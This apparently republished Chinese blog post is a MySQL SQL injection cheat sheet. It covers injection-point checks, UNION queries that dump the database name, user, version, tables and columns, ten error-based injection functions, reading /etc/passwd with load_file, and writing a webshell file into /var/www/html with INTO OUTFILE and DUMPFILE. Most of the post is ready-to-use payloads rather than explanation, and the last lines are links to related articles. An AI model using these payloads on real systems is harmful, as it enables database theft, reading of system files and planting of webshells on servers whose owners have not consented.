SQL注入之MYSQL

Posted kwjqsj

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入之MYSQL相关的知识,希望对你有一定的参考价值。

SQL注入之mysql

总体上先判断是否有注入点(数字型还是字符型)
?法?:单引号法 ‘
?法?:逻辑法 and 1=1 and 1=2 1‘ and ‘1‘=‘1 1‘ and ‘1‘=‘2
?法三:运算法 -1


联合查询

条件:前提是前后查询视图必须拥有相 同数量的列,列也必需拥有相同的数据类型
版本>4.0
当MySQL版本?于 5.0时,有个默认数据库information_schema

获取当前数据库和数据库?户名
1‘ union select database(),user() #

获取当前的数据库版本和操作系统

1‘ union select version(),@@version_compile_os#

1‘ union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database() %23 报表

1‘ union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = ‘users‘ %23 爆列

1‘ union select 1,flag,3,4 from flag %23 字段


报错注入

报错注?常?的函数

1.floor()
select * from test where id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a);
(原理:主键重复,整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因)
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
(原理:当Xpath路径语法错误时,就会报错)
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
(原理:当Xpath路径语法错误时,就会报错)
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));


盲注

布尔型盲注

延时型盲注

目前感觉还是盲注直接sqlmap吧,等理解更透彻再来修改。


Root权限处理

条件:是Root权限
?站物理路径(报错、phpinfo页?、猜、爆破)
版本:
MySQL 5.5.53前 5.5.53之前的版本是 secure_file_priv 变量默认为空,所以默认情况下是可以直接通过SQL语句来导出?件的。
MySQL?于5.5 ?于5.5时,mysql新出了?个 secure-file-priv 字段 : secure-file-priv 参数是?来限制LOAD DATA,
SELECT ... > OUTFILE, and LOAD_FILE()传到哪个指定?录的。
当 secure_file_priv 的值为null ,表?限制mysqld 不允许导?|导出
当 secure_file_priv 的值为/tmp/ ,表?限制mysqld 的导?|导出只能发?在/tmp/?录下
当 secure_file_priv 的值没有具体值时,即 ‘‘ ,表?不对mysqld 的导?|导出做限制。
查看 secure-file-priv 参数的值: show global variables like ‘%secure%‘

读文件
load_file() 函数: select load_file(‘/etc/passwd‘);
select load_file(0x2F6574632F706173737764);

写文件
INTO OUTFILE函数写?件时会在每??的结束?动加上换?符
INTO DUMPFILE函数在写?件会保持?件得到原?内容,这种?式对于?进制?件是最好的选择

select ‘‘ into outfile ‘/var/www/html/muma.php‘ ;
select ‘‘ into DUMPFILE ‘/var/www/html/muma.php‘ ;
select * from tdb_goods where goods_id=1 into outfile "/var/www/html/muma.php" LINES STARTING BY ‘
LINES STARTING BY ‘写?的内容‘ 设置每?数据开头的字符,可以为单个或多个字符。默认情况下不使?任何字符。
LINES TERMINATED BY ‘写?的内容‘ 设置每?数据结尾的字符,可以为单个或多个字符。默认值是" "。

eg:php?id=1 and 1=2 union select 1,2,3,4,‘‘,5 into outfile ‘/var/www/html/1.php‘ -- a














































以上是关于SQL注入之MYSQL的主要内容,如果未能解决你的问题,请参考以下文章

48-mysql-Navicat数据库查询题目讲解(多表操作)python操作MySQLsql注入问题pymysql模块增删改查数据操作

Java - 转义字符串以防止 SQL 注入

渗透测试-SQL注入之宽字节注入

SQL注入之盲注,二次注入,dnslog注入

Sql注入之注入点类型和是否存在注入判断

第三天--注入攻击:Web安全之SQL注入漏洞专题